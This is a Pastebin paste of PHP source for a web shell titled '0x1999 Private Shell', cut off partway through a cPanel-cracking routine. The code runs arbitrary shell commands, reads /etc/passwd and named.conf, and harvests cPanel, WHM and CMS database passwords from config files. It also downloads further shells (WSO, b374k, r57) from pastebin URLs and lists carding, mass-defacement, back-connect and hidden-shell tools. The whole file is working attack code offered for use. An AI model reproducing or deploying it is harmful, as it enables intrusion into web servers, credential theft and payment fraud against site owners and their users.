API tools faq
paste
EddieKidiw

0x1999 Private Shell (0x Shell)

EddieKidiw
Mar 1st, 2019
458
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 100.27 KB | None | 0 0
raw download clone embed print report
  1. <?php
  2.  
  3. // 0x1999 Private Shell
  4. // Use your own risk
  5. // Hard coded by 0x1999
  6.  
  7. // Start Bots Locked
  8. if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) { header('HTTP/1.0 404 Not Found'); exit; }
  9. // End //Bots Locked
  10.  
  11. // Start configuration
  12. $shell_name = '0x Shell';
  13. $shell_slogan = 'The Next JanCox Shell';
  14. $shell_version = '1.1';
  15. $shell_bypass_security = '0';
  16. $show_error = "0";
  17. @session_start();
  18. @ini_set('max_execution_time',0);
  19. @ini_set('output_buffering',0);
  20. @set_time_limit(0);
  21. // @set_magic_quotes_runtime(0);
  22. // End configuration
  23.  
  24. // start init
  25. if($show_error == "0"){
  26.     @error_reporting(0);
  27.     @error_log(0);
  28.     @ini_set('error_log',NULL);
  29.     @ini_set('log_errors',0);
  30.     @ini_set('display_errors', 0);
  31. } else {
  32.     ini_set('display_errors', 1);
  33.     ini_set('display_startup_errors', 1);
  34.     error_reporting(E_ALL);
  35. }
  36.  
  37.  
  38. if(!function_exists('posix_getegid')) {
  39.   $user = @get_current_user();
  40.   $uid = @getmyuid();
  41.   $gid = @getmygid();
  42.   $group = "?";
  43. } else {
  44.   $uid = @posix_getpwuid(posix_geteuid());
  45.   $gid = @posix_getgrgid(posix_getegid());
  46.   $user = $uid['name'];
  47.   $uid = $uid['uid'];
  48.   $group = $gid['name'];
  49.   $gid = $gid['gid'];
  50. }
  51. if(@is_dir("/home/$user/public_html/")){
  52.     $server_type = "public_html";
  53. } elseif(@is_dir("/var/www/vhosts/")){
  54.     $server_type = "vhost";
  55. } else{
  56.     $server_type = "unknown";
  57. }
  58.  
  59. //end init
  60.  
  61. //start config list
  62. $ext = array("v1","v2","v3","wp","WP","blog","client","clients","forum","forums","home","new","old","site","portal","test","demo","wordpress","joomla","beta","news","main","shop","mage","magento","sites","cms","secure","support","panel","public");
  63. $configtype = array(
  64.     "/wp-config.php" => "Wordpress",
  65.     "/config/koneksi.php" => "Lokomedia",
  66.     "/forum/config.php" => "phpBB",
  67.     "/sites/default/settings.php" => "Drupal",
  68.     "/config/settings.inc.php" => "PrestaShop",
  69.     "/app/etc/local.xml" => "Magento",
  70.     "/admin/config.php" => "OpenCart",
  71.     "/application/config/database.php" => "Ellislab",
  72.     "/configuration.php" => "Joomla",
  73.     "/submitticket.php" => "WHMCS",
  74.     "/config.php" => "OtherConfig",
  75.     "/db.php" => "DB",
  76.     "/db.inc.php" => "DBInc",
  77.     "/database.php" => "Database",
  78.     "/includes/config.php" => "Vbulletin",
  79.     "/db/config.php" => "DBConfig"
  80.  );
  81. //end config list
  82.  
  83. //start head process
  84. if(isset($_GET['file']) && ($_GET['file'] != '') && ($_GET['act'] == 'download')) {
  85.     @ob_clean();
  86.     $file = $_GET['file'];
  87.     header('Content-Description: File Transfer');
  88.     header('Content-Type: application/octet-stream');
  89.     header('Content-Disposition: attachment; filename="'.basename($file).'"');
  90.     header('Expires: 0');
  91.     header('Cache-Control: must-revalidate');
  92.     header('Pragma: public');
  93.     header('Content-Length: ' . filesize($file));
  94.     readfile($file);
  95.     exit;
  96. }
  97. if(isset($_GET['dir']) && ($_GET['dir'] != "")){
  98.     $dir = $_GET['dir'];
  99.     chdir($_GET['dir']);
  100. } else {
  101.     $dir = getcwd();
  102. }
  103. if(isset($_POST['upload'])) {
  104.   if(@copy($_FILES['0xfile']['tmp_name'], "$dir/".$_FILES['0xfile']['name']."")){
  105.     $actx = "<font color=lime>Uploaded!</font> at <i><b>$dir/".$_FILES['0xfile']['name']."</b></i>";
  106.   } else {
  107.     $actx = "<font color=red>failed to upload file</font>";
  108.   }
  109. } else {
  110.     $actx ="";
  111. }
  112. //end head process
  113. ?>
  114.     <!DOCTYPE html>
  115.     <html>
  116.     <style stype="text/css">
  117.         @import url(https://fonts.googleapis.com/css?family=Abel|Baumans);
  118.         body {
  119.             background: #101010;
  120.             color: #f2f2f2;
  121.             font-family: Abel;
  122.             font-size: 12px;
  123.         }
  124.  
  125.         body a {
  126.             color: #3467BA;
  127.             text-decoration: none;
  128.         }
  129.  
  130.         body a:hover {
  131.             text-decoration: underline;
  132.         }
  133.  
  134.         #main_content {
  135.             border: 1px solid #5C7296;
  136.             overflow: hidden;
  137.             width: 1000px;
  138.             height: auto;
  139.             padding: 15px;
  140.             margin: 0 auto;
  141.             background: #0A0A0A;
  142.             border-radius: 6px;
  143.             -moz-border-radius: 6px;
  144.             -webkit-border-radius: 6px;
  145.         }
  146.  
  147.         .enabled {
  148.             color: #7ACC29;
  149.         }
  150.  
  151.         .enabled a {
  152.             color: #7ACC29;
  153.             font-weight: normal;
  154.         }
  155.  
  156.         .disabled {
  157.             color: #CC0000;
  158.         }
  159.  
  160.         .TableHeader_Name {
  161.             width: 400px;
  162.             padding: 0px 0px 0px 5px;
  163.             height: 25px;
  164.             font-family: Abel;
  165.             background-color: #282828;
  166.             border-top-left-radius: 4px;
  167.             -moz-border-top-left-radius: 4px;
  168.             -webkit-border-top-left-radius: 4px;
  169.         }
  170.  
  171.         .TableHeader {
  172.             width: 100px;
  173.             height: 25px;
  174.             font-family: Abel;
  175.             text-align: center;
  176.             background-color: #282828;
  177.         }
  178.  
  179.         .TableHeaderoptions {
  180.             padding: 0px 0px 0px 15px;
  181.             width: 200px;
  182.             height: 25px;
  183.             font-family: Abel;
  184.             background-color: #282828;
  185.             border-top-right-radius: 4px;
  186.             -moz-border-top-right-radius: 4px;
  187.             -webkit-border-top-right-radius: 4px;
  188.         }
  189.  
  190.         .TableLast {
  191.             padding: 0px 0px 0px 15px;
  192.             width: 200px;
  193.             height: 25px;
  194.             font-family: Abel;
  195.             background-color: #282828;
  196.             border-top-right-radius: 4px;
  197.             -moz-border-top-right-radius: 4px;
  198.             -webkit-border-top-right-radius: 4px;
  199.         }
  200.  
  201.         .filesize {
  202.             color: green;
  203.             text-align: center;
  204.         }
  205.  
  206.         .filenames a {
  207.             font-weight: normal;
  208.             text-decoration: none;
  209.         }
  210.  
  211.         .filenames a:hover {
  212.             text-decoration: underline;
  213.         }
  214.  
  215.         .filetr {
  216.             background-color: #080808;
  217.         }
  218.  
  219.         .filetr:hover {
  220.             background-color: #282828;
  221.         }
  222.  
  223.         #options {
  224.             font-weight: 200;
  225.             font-family: Abel;
  226.             margin-left: 10px;
  227.             display: block;
  228.         }
  229.  
  230.         #title {
  231.             font-size: 25px;
  232.             font-family: arial;
  233.             display: block;
  234.             padding: 15px 0px 0px 0px;
  235.         }
  236.  
  237.         .box {
  238.             padding: 10px;
  239.             background-color: #292929;
  240.             border: 1px solid #3467BA;
  241.             height: auto;
  242.             width: 970;
  243.             border-radius: 6px;
  244.             -moz-border-radius: 6px;
  245.             -webkit-border-radius: 6px;
  246.         }
  247.  
  248.         .sembunyi {
  249.             display: none;
  250.             padding: 0;
  251.             margin: 0;
  252.         }
  253.  
  254.         textarea {
  255.             background-color: #010101;
  256.             color: #f2f2f2;
  257.             border: 1px solid #3467BA;
  258.             outline: none;
  259.             font-size: 11px;
  260.             border-radius: 3px;
  261.             -moz-border-radius: 3px;
  262.             -webkit-border-radius: 3px;
  263.             padding: 5px;
  264.             width: 970px;
  265.             height: 400px;
  266.         }
  267.  
  268.         input[type=text],
  269.         input[type=password],
  270.         input[type=submit],
  271.         input[type=button] {
  272.             background: #010101;
  273.             color: #f2f2f2;
  274.             margin: 0 4px;
  275.             border: 1px solid #3467BA;
  276.             outline: none;
  277.             font-size: 11px;
  278.             border-radius: 3px;
  279.             -moz-border-radius: 3px;
  280.             -webkit-border-radius: 3px;
  281.             font-family: Abel;
  282.             font-size: 12px;
  283.         }
  284.  
  285.         .viewfile {
  286.             background: #EDECEB;
  287.             color: #000000;
  288.             margin: 4px 2px;
  289.             padding: 8px;
  290.             border-radius: 3px;
  291.             -moz-border-radius: 3px;
  292.             -webkit-border-radius: 3px;
  293.             border: 1px solid #3467BA;
  294.         }
  295.  
  296.         select {
  297.             color: #f2f2f2;
  298.             padding: 0;
  299.             margin: 0;
  300.             border: 1px solid #3467BA;
  301.             outline: none;
  302.             font-size: 11px;
  303.             border-radius: 3px;
  304.             -moz-border-radius: 3px;
  305.             -webkit-border-radius: 3px;
  306.             background: #010101;
  307.             overflow: hidden;
  308.             font-family: Abel;
  309.             font-size: 12px;
  310.         }
  311.  
  312.         input[type="file"] {
  313.             color: #f2f2f2;
  314.             padding: 0;
  315.             margin: 0;
  316.             border: 1px solid #3467BA;
  317.             outline: none;
  318.             font-size: 11px;
  319.             border-radius: 3px;
  320.             -moz-border-radius: 3px;
  321.             -webkit-border-radius: 3px;
  322.             background: #010101;
  323.             overflow: hidden;
  324.             font-family: Abel;
  325.             font-size: 12px;
  326.         }
  327.  
  328.         .ndelik {
  329.             display: none;
  330.             padding: 0;
  331.             margin: 0;
  332.         }
  333.  
  334.         form,
  335.         table {
  336.             /*display: inline;*/
  337.             margin: 0px;
  338.             padding: 0px;
  339.         }
  340.     </style>
  341.  
  342.     <script type="text/javascript">
  343.         function tukar(lama, baru) {
  344.             document.getElementById(lama).style.display = 'none';
  345.             document.getElementById(baru).style.display = 'block';
  346.         }
  347.     </script>
  348.  
  349.     <link href="http://vignette2.wikia.nocookie.net/regularshow/images/f/fc/Emoticones_-_Pacman.png/revision/latest?cb=20160107170905&amp;path-prefix=es" rel="icon" type="image/x-icon">
  350.  
  351.     <?php
  352.  
  353. $ling ="http://".$_SERVER['SERVER_NAME']."".$_SERVER['PHP_SELF']."?create";
  354. $dir = str_replace("\\","/",$dir);
  355. $scdir = explode("/", $dir);
  356. $ds = @ini_get("disable_functions");
  357. $show_ds = (!empty($ds)) ? "<input type='text' name='searchterm' size='30'style='background-color: rgb(41, 41, 41);border: 1px solid rgb(41, 41, 41);height: 12px;color: red;width: 385px;'value='$ds'readonly/>" : "<font color=lime>NONE</font>";
  358. echo "<title>$shell_name</title>";
  359.  
  360. if(isset($_GET['create'])){
  361.     function CreateTools($names,$lokasi){
  362.     if ( $_GET['create'] == $names ){
  363.         $a= "".$_SERVER['SERVER_NAME']."";
  364. $b= dirname($_SERVER['PHP_SELF']);
  365. $c = "/0x1/".$names.".php";
  366. if (file_exists('0x1/'.$names.'.php')){
  367.     echo '<script type="text/javascript">alert("Done");window.location.href = "0x1/'.$names.'.php";</script> ';
  368.     }
  369.     else {mkdir("0x1", 0777);
  370. file_put_contents('0x1/'.$names.'.php', file_get_contents($lokasi));
  371. echo ' <script type="text/javascript">alert("Done");window.location.href = "0x1/'.$names.'.php";</script> ';}}
  372. }
  373. CreateTools("wso","http://pastebin.com/raw/3eh3Gej2");
  374. CreateTools("adminer"."https://www.adminer.org/static/download/4.2.5/adminer-4.2.5.php");
  375. CreateTools("b374k","http://pastebin.com/raw/rZiyaRGV");
  376. CreateTools("injection","http://pastebin.com/raw/nxxL8c1f");
  377. CreateTools("promailerv2","http://pastebin.com/raw/Rk9v6eSq");
  378. CreateTools("gamestopceker","http://pastebin.com/raw/QSnw1JXV");
  379. CreateTools("bukapalapak","http://pastebin.com/raw/6CB8krDi");
  380. CreateTools("tokopedia","http://pastebin.com/dvhzWgby");
  381. CreateTools("encodedecode","http://pastebin.com/raw/wqB3G5eZ");
  382. CreateTools("mailer","http://pastebin.com/raw/9yu1DmJj");
  383. CreateTools("r57","http://pastebin.com/raw/G2VEDunW");
  384. CreateTools("tokenpp","http://pastebin.com/raw/72xgmtPL");
  385. CreateTools("extractor","http://pastebin.com/raw/jQnMFHBL");
  386. CreateTools("bh","http://pastebin.com/raw/3L2ESWeu");
  387. CreateTools("dhanus","http://pastebin.com/raw/v4xGus6X");
  388. }
  389.    
  390. //Start Function
  391. function permissions($file){
  392.  
  393. $perms = @fileperms($file);
  394. if (($perms & 0xC000) == 0xC000) {
  395. $info = 's';
  396. } elseif (($perms & 0xA000) == 0xA000) {
  397. $info = 'l';
  398. } elseif (($perms & 0x8000) == 0x8000) {
  399. $info = '-';
  400. } elseif (($perms & 0x6000) == 0x6000) {
  401. $info = 'b';
  402. } elseif (($perms & 0x4000) == 0x4000) {
  403. $info = 'd';
  404. } elseif (($perms & 0x2000) == 0x2000) {
  405. $info = 'c';
  406. } elseif (($perms & 0x1000) == 0x1000) {
  407. $info = 'p';
  408. } else {
  409. $info = 'u';
  410. }
  411. $info .= (($perms & 0x0100) ? 'r' : '-');
  412. $info .= (($perms & 0x0080) ? 'w' : '-');
  413. $info .= (($perms & 0x0040) ?
  414. (($perms & 0x0800) ? 's' : 'x' ) :
  415. (($perms & 0x0800) ? 'S' : '-'));
  416. $info .= (($perms & 0x0020) ? 'r' : '-');
  417. $info .= (($perms & 0x0010) ? 'w' : '-');
  418. $info .= (($perms & 0x0008) ?
  419. (($perms & 0x0400) ? 's' : 'x' ) :
  420. (($perms & 0x0400) ? 'S' : '-'));
  421. $info .= (($perms & 0x0004) ? 'r' : '-');
  422. $info .= (($perms & 0x0002) ? 'w' : '-');
  423. $info .= (($perms & 0x0001) ?
  424. (($perms & 0x0200) ? 't' : 'x' ) :
  425. (($perms & 0x0200) ? 'T' : '-'));
  426. return $info;
  427. }
  428. function UrlLoop($url,$type){
  429.   $urlArray = array();
  430.   $ch = curl_init();
  431.   curl_setopt($ch, CURLOPT_URL, $url);
  432.   curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  433.   $result = curl_exec($ch);
  434.   $regex='|<a.*?href="(.*?)"|';
  435.   preg_match_all($regex,$result,$parts);
  436.   $links = $parts[1];
  437.   foreach($links as $link){
  438.     array_push($urlArray, $link);
  439.   }
  440.   curl_close($ch);
  441.   foreach($urlArray as $value){
  442.     $lol = "$url$value";
  443.     if(preg_match("#$type#is", $lol)) {
  444.       echo "$lol\r\n";
  445.     }
  446.   }
  447. }
  448.  
  449. function anucurl($sites) {
  450.     $ch = curl_init($sites);
  451.           curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  452.           curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  453.           curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  454.           curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
  455.           curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  456.           curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  457.           curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
  458.           curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
  459.           curl_setopt($ch, CURLOPT_COOKIESESSION,true);
  460.     $data = curl_exec($ch);
  461.           curl_close($ch);
  462.     return $data;
  463. }
  464. function clearspace($text){
  465.     return str_replace(" ","_",$text);
  466. }  
  467. function magicboom($text){
  468.     if (!get_magic_quotes_gpc()) {
  469.          return $text;
  470.     }
  471.     return stripslashes($text);
  472. }
  473. function ambilKata($param, $kata1, $kata2){
  474.   if(strpos($param, $kata1) === FALSE) return FALSE;
  475.   if(strpos($param, $kata2) === FALSE) return FALSE;
  476.   $start = strpos($param, $kata1) + strlen($kata1);
  477.   $end = strpos($param, $kata2, $start);
  478.   $return = substr($param, $start, $end - $start);
  479.   return $return;
  480. }
  481. function ambil_password($link) {
  482.   $pass = "";
  483.   $ambil = file_get_contents($link);
  484.   if(preg_match("/WordPress/", $ambil)) {
  485.     $pass .= ambilkata($ambil,"DB_PASSWORD', '","'")."\n";
  486.   } elseif(preg_match("/JConfig|joomla/", $ambil)) {
  487.     $pass .= ambilkata($ambil,"password = '","'")."\n";
  488.   } elseif(preg_match("/cmsmember/", $ambil)) {
  489.     $pass .= ambilkata($ambil,'dbpasswd = "','"')."\n";
  490.   } elseif(preg_match("/Magento|Mage_Core/", $ambil)) {
  491.     $pass .= ambilkata($ambil,"<password><![CDATA[","]]></password>")."\n";
  492.   } elseif(preg_match("/panggil fungsi validasi xss dan injection/", $ambil)) {
  493.     $pass .= ambilkata($ambil,'password = "','"')."\n";
  494.   } elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/", $ambil)) {
  495.     $pass .= ambilkata($ambil,"'DB_PASSWORD', '","'")."\n";
  496.   } elseif(preg_match("/client/", $ambil)) {
  497.     preg_match("/password=(.*)/", $ambil, $pass1);
  498.     if(preg_match('/"/', $pass1[1])) {
  499.       $pass1[1] = str_replace('"', "", $pass1[1]);
  500.       $pass .= $pass1[1]."\n";
  501.     }
  502.   } elseif(preg_match("/cc_encryption_hash/", $ambil)) {
  503.     $pass .= ambilkata($ambil,"db_password = '","'")."\n";
  504.   }
  505.   return $pass;
  506. }
  507. function w($dir,$perm) {
  508.   if(!is_writable($dir)) {
  509.         return "<font color=red>".$perm."</font>";
  510.     } else {
  511.         return "<font color=lime>".$perm."</font>";
  512.     }
  513. }
  514. function cekjum($kentu){
  515.  
  516.  
  517.     // $it = new RecursiveIteratorIterator($kentu,RecursiveDirectoryIterator::SKIP_DOTS);
  518.     $it = new RecursiveIteratorIterator
  519.     (
  520.         new RecursiveDirectoryIterator($kentu)
  521.     );
  522.     // if($it-> DirectoryIterator::isDot()){
  523.     //  echo "cok";
  524.     // }
  525.  
  526.     // $index = array_search('..',$it);
  527.     // if($index !== FALSE){
  528.     //     unset($it[$index]);
  529.     // }
  530.  
  531.  
  532.   foreach ($it as $filename) {
  533.     $file=realpath(dirname($filename));
  534.     if($file == ".."){
  535.         continue;
  536.     }
  537.     if (is_writable($filename)){
  538.  
  539. $perm = permissions($file);
  540. $perm = w($file,$perm);
  541. $permd = permissions($filename);
  542. $permd = w($filename,$permd);
  543.  
  544.       if(is_dir($filename)){
  545.         if(is_writable($file)){
  546.           echo "[ D ] [$perm]\t\t<a href='?dir=$file'>$file</a><font color='lime'>is writable</font><br>";
  547.         }
  548.       }
  549.         else {
  550.             if(is_writable($filename)){
  551.           echo "[ F ] [$permd]\t\t<a href='?act=edit&dir=$file&file=$filename'>$filename</a><font color='lime'>is writable</font><br>";
  552.         }
  553.     }
  554.  
  555.       }
  556.   }
  557. }
  558. function exe($cmd) {    
  559. if(function_exists('system')) {        
  560.         @ob_start();       
  561.         @system($cmd);     
  562.         $buff = @ob_get_contents();        
  563.         @ob_end_clean();       
  564.         return $buff;  
  565.     } elseif(function_exists('exec')) {        
  566.         @exec($cmd,$results);      
  567.         $buff = "";        
  568.         foreach($results as $result) {         
  569.             $buff .= $result;      
  570.         } return $buff;    
  571.     } elseif(function_exists('passthru')) {        
  572.         @ob_start();       
  573.         @passthru($cmd);       
  574.         $buff = @ob_get_contents();        
  575.         @ob_end_clean();       
  576.         return $buff;  
  577.     } elseif(function_exists('shell_exec')) {      
  578.         $buff = @shell_exec($cmd);     
  579.         return $buff;  
  580.     }
  581. }
  582.  
  583. //End Function
  584.  
  585. //start bypasser
  586.  
  587.  
  588. // $etcpasswd = etcpasswd();
  589.  
  590. $etcpasswd = @file_get_contents('/etc/passwd');
  591. if(!$etcpasswd){
  592.     $etcpasswd = exe('cat /etc/passwd');
  593. }        
  594. // end bypasser
  595.  
  596.  
  597.  
  598. /////////////////////////////////////
  599.  
  600. $sport = $_SERVER['SERVER_PORT'];
  601. $d0mains = @file("/etc/named.conf");
  602. $users=@file('/etc/passwd');
  603. if($d0mains){
  604.   $count;
  605.   foreach($d0mains as $d0main){
  606.     if(@ereg("zone",$d0main)){
  607.       preg_match_all('#zone "(.*)"#', $d0main, $domains);
  608.       flush();
  609.       if(strlen(trim($domains[1][0])) > 2){
  610.         flush();
  611.         $count++;
  612.       }
  613.     }
  614.   }
  615.   $count2=$count/2;
  616. } else {
  617.     $count2="??";
  618. }
  619. $sm = (@ini_get(strtolower("safe_mode")) == 'on') ? "<font color=red>ON</font>" : "<font color=lime>OFF</font>";
  620. echo "
  621.     <body>
  622.     <div id='main_content'><span id='title'><font face='Baumans'>$shell_name</font> </span><i>$shell_slogan</i><br><br><div class='box'>
  623. ";
  624. echo'
  625. <table  cellspacing="0" cellpadding="0">
  626. <colgroup>
  627. <col style="width: 499px">
  628. <col style="width: 599px">
  629. </colgroup>
  630.  <tr>
  631.    <td nowrap>Server Name:'.php_uname().'</td>
  632. <td align="right"><form><div class="select-style">
  633. <select onchange="if (this.value) window.open(this.value);">
  634.   <option selected="selected" value=""> <i>Tools Creator </option>
  635.   <option value="'.$ling.'=wso"><i>WSO 2.8.1</option>
  636.   <option value="'.$ling.'=injection"><i>1n73ction v3</option>
  637.   <option value="'.$ling.'=wk">WHMCS Killer</option>
  638.   <option value="'.$ling.'=adminer">Adminer</option>
  639.   <option value="'.$ling.'=b374k">b374k Shell</option>
  640.   <option value="'.$ling.'=b374k323">b374k 3.2</option>  
  641.   <option value="'.$ling.'=bh">BlackHat Shell</option>      
  642.   <option value="'.$ling.'=dhanus">Dhanush Shell</option>    
  643.   <option value="'.$ling.'=r57">R57 Shell</option>    
  644. <option value="'.$ling.'=encodedecode">Encode Decode</option>    
  645. <option value="'.$ling.'=r57">R57 Shell</option>    
  646. </select>
  647. <select onchange="if (this.value) window.open(this.value);">
  648.   <option selected="selected" value=""> Tools Carder </option>
  649.   <option value="'.$ling.'=extractor">DB Email Extractor</option>
  650.   <option value="'.$ling.'=promailerv2">Pro Mailer V2</option>    
  651.   <option value="'.$ling.'=bukalapak">BukaLapak Checker</option>        
  652.   <option value="'.$ling.'=tokopedia">TokoPedia Checker</option>  
  653.   <option value="'.$ling.'=tokenpp">Paypal Token Generator</option>  
  654.   <option value="'.$ling.'=mailer">Mailer</option>  
  655.   <option value="'.$ling.'=gamestopceker">GamesTop Checker</option>
  656.   </select></div>
  657. <noscript><input type="submit" value="Submit"></noscript>
  658. </form></td>
  659.  </tr>
  660.  <tr>
  661.    <td>User :<font color=lime>'.$user.'</font> ('.$uid.') Group : <font color=lime>'.$group.'</font> ('.$gid.')</td>
  662.    <td align="right">';
  663.     if($server_type == "public_html"){
  664.     if (file_exists('/home/'.$user.'/.my.cnf')){
  665.       $cp = file_get_contents('/home/'.$user.'/.my.cnf');
  666.           $cp = ambilkata($cp,'password="','"');
  667.       echo 'Cpanel : Username <font color="lime">(</font>'.$user.'<font color="lime">)</font> Password <font color="lime">(</font>'.$cp.'<font color="lime">)</font>';
  668.     }}
  669.     echo '
  670.    </td>
  671.    </tr>
  672.    <tr>
  673.    <td>Server IP :<font color=lime>'.gethostbyname($_SERVER["HTTP_HOST"]).'</font>  <span class="enabled"><a href="https://www.bing.com/search?q=IP:'.gethostbyname($_SERVER["HTTP_HOST"]).'" target="_blank">[BING]</a></span> <span class="enabled"><a href="https://centralops.net/co/domaindossier.aspx?addr='.gethostbyname($_SERVER["HTTP_HOST"]).'&dom_whois=true&dom_dns=true&traceroute=true&net_whois=true&svc_scan=true" target="_blank">[Dossier]</a></span> | Port : <font color=lime>'.$sport.'</font> | Your IP: <font color=lime>'.$_SERVER["REMOTE_ADDR"].'</font></td>
  674.     <td align="right">';
  675.   if($server_type == "public_html"){
  676.     if (file_exists('/home/'.$user.'/.accesshash')){
  677.     $whm = file_get_contents('/home/'.$user.'/.accesshash');
  678.         $whm = preg_replace( '/\s+/' , '' , $whm );
  679.         echo '<input type="text" size="30" value="WHM '.$user.':'.$whm.'">';
  680.   } }
  681.   echo '
  682.  </td>
  683.  </tr>
  684.  <tr>
  685.    <td>Server Type : '.$server_type.' | Website :<font color=lime> '.$count2.' </font> Domains</td>
  686.  </tr>
  687.  <tr>
  688.    <td>Safe Mode: '.$sm.'</td>
  689.  </tr>
  690.  <tr>
  691.    <td>Disable Functions:'.$show_ds.'</td>
  692.  </tr>
  693.  <tr>
  694.    <td>Server Software: '.$_SERVER["SERVER_SOFTWARE"].' <span class="enabled"><a href="http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description='.$_SERVER["SERVER_SOFTWARE"].'&filter_exploit_text=&filter_author=&filter_platform=0&filter_type=0&filter_lang_id=0&filter_port=&filter_osvdb=&filter_cve=" target="_blank">[Exploit DB]</a></span>
  695.     </td>
  696.  </tr>
  697.  <tr>
  698.    <td>Directory : ';
  699.     foreach($scdir as $c_dir => $cdir) {
  700.     echo "<a href='?dir=";
  701.     for($i = 0; $i <= $c_dir; $i++) {
  702.         echo $scdir[$i];
  703.         if($i != $c_dir) {
  704.         echo "/";
  705.         }
  706.       }
  707.     echo "'>$cdir</a>/";
  708.   }
  709.     echo"</td>
  710.     <td align='right'><form method='post' enctype='multipart/form-data'><input type='file' name='0xfile'><input type='submit' value='upload' name='upload'></form></td>
  711.  </tr>
  712.  <tr>
  713.    <td><form method='post' action='?dir=$dir&do=cmd' style='float: left;'>
  714.    Command :
  715.    <input type='text' size='30' height='10' name='cmd'><input type='submit' name='do_cmd' value='>>'>
  716.    </form><p></p>
  717.     </td>
  718.     <td align='right'>".$actx."</td>
  719.  </tr>
  720. </table></div>";
  721. echo '<a href="?">Home</a> / ';
  722. echo "<a href='?dir=".$dir."&do=config'>Config</a> / ";
  723. echo "<a href='?dir=".$dir."&do=jump'>Jump</a> / ";
  724. echo "<a href='?dir=".$dir."&do=symlink'>Sym</a> / ";
  725. echo "<a href='?dir=".$dir."&do=cpanel'>Cpanel</a> / ";
  726. echo "<a href='?dir=".$dir."&do=symlink'>Sym</a> / ";
  727. echo "<a href='?dir=".$dir."&do=mass_deface'>Mass</a> / ";
  728. echo "<a href='?dir=".$dir."&do=mirror'>Mirror</a> / ";
  729. echo "<a href='?dir=".$dir."&do=cgi'>Cgi</a> / ";
  730. echo "<a href='?dir=".$dir."&do=bc'>BC</a> / ";
  731. echo "<a href='?dir=".$dir."&do=about'>About</a> / ";
  732. echo "<a href='?dir=".$dir."&do=serverinfo'>Server Info</a> / ";
  733. echo "<a href='?do=deleteme'>Self Remove</a> / ";
  734. echo "<a href='?dir=".$dir."&do=ndelikne'>Hidden Shell</a> / ";
  735. echo "<a href='?dir=".$dir."&do=crp'>Config ResPass</a> / ";
  736. echo "<a href='?dir=".$dir."&do=grabpass'>Auto CU Joomla</a> / ";
  737. echo "<a href='?dir=".$dir."&do=hek'>Deface</a> / ";
  738. echo '<hr>';   
  739. /////////////////////////////////////
  740. // if(isset($_GET['act']) && ($_GET['act'] == ''))
  741.  
  742.  
  743.  
  744. // START TOOLS SCRIPT
  745. if(isset($_GET['act']) && ($_GET['act'] == 'delete')) {
  746.     $delete = unlink($_GET['file']);
  747.     if($delete) {
  748.         $act = "<script>window.location='?dir=".$dir."';</script>";
  749.     } else {
  750.         $act = "<font color=red>permission denied</font>";
  751.     }
  752.     echo $act;
  753. }
  754.  
  755. elseif(isset($_GET['act']) && ($_GET['act'] == 'delete_dir')) {
  756.     function Delete($path)
  757. {
  758.   $path = (substr($path,-1)=='/') ? $path:$path.'/';
  759.     $dh  = opendir($path);
  760.   while ( ($item = readdir($dh) ) !== false) {
  761.     $item = $path.$item;
  762.     if ( (basename($item) == "..") || (basename($item) == ".") )
  763.       continue;
  764.     $type = filetype($item);
  765.     if ($type == "dir")
  766.       Delete($item);
  767.     else
  768.       @unlink($item);
  769.   }
  770.   closedir($dh);
  771.   @rmdir($path);}
  772.   $delete_dir = Delete($dir);
  773.   $act = "<script>window.location='?dir=".dirname($dir)."';</script>";
  774.   echo $act;
  775. }
  776. elseif(isset($_POST['do_rename'])) {
  777.   $rename = rename($_POST['oldname'], "$dir/".htmlspecialchars($_POST['rename'])."");
  778.   if($rename) {
  779.     $act = "<script>window.location='?dir=".$dir."';</script>";
  780.   } else {
  781.     $act = "<font color=red>permission denied</font>";
  782.   }
  783.   echo "".$act."<br>";
  784. }
  785. elseif(isset($_POST['dir_rename'])) {
  786.   $dir_rename = rename($dir."/".$_POST['oldname'], "".$dir."/".htmlspecialchars($_POST['fol_rename'])."");
  787.   if($dir_rename) {
  788.     $act = "<script>window.location='?dir=".$dir."';</script>";
  789.   } else {
  790.     $act = "<font color=red>permission denied</font>";
  791.   }
  792.   echo "".$act."<br>";
  793. }
  794. elseif(isset($_GET['act']) && ($_GET['act'] == 'newfolder')) {
  795.   if($_POST['new_save_folder']) {
  796.     $new_folder = $dir.'/'.htmlspecialchars($_POST['newfolder']);
  797.     if(!mkdir($new_folder)) {
  798.       $act = "<font color=red>permission denied</font>";
  799.     } else {
  800.       $act = "<script>window.location='?dir=".$dir."';</script>";
  801.     }
  802.   }
  803.   echo $act;
  804. }
  805. elseif(isset($_GET['act']) && ($_GET['act'] == 'view')) {
  806.   if(is_file($_GET['file'])){
  807.     if(!isset($file)) $file = magicboom($_GET['file']);
  808.     echo "Filename : <font color=lime>".basename($_GET['file'])."</font> [ <a href='?act=view&dir=$dir&file=".$_GET['file']."'><b>view</b></a> ] [ <a href='?act=edit&dir=$dir&file=".$_GET['file']."'>edit</a> ] [ <a href='?act=rename&dir=$dir&file=".$_GET['file']."'>rename</a> ] [ <a href='?act=download&dir=$dir&file=".$_GET['file']."'>download</a> ] [ <a href='?act=delete&dir=$dir&file=".$_GET['file']."'>delete</a> ]<br>";
  809.         echo "<div class=\"viewfile\">";
  810.         $file = wordwrap(@file_get_contents($file),"240","\n");
  811.         @highlight_string($file);
  812.         echo "</div>";
  813. }elseif(is_dir($_GET['view'])){
  814.   echo showdir($dir,$prompt);
  815. }  
  816. }
  817.  
  818.  
  819. //end act
  820.  
  821. elseif(isset($_GET['do']) && ($_GET['do'] == 'cpanel')) {
  822.   if($_POST['crack']) {
  823.     $usercp = explode("\r\n", $_POST['user_cp']);
  824.     $passcp = explode("\r\n", $_POST['pass_cp']);
  825.     $i = 0;
  826.     foreach($usercp as $ucp) {
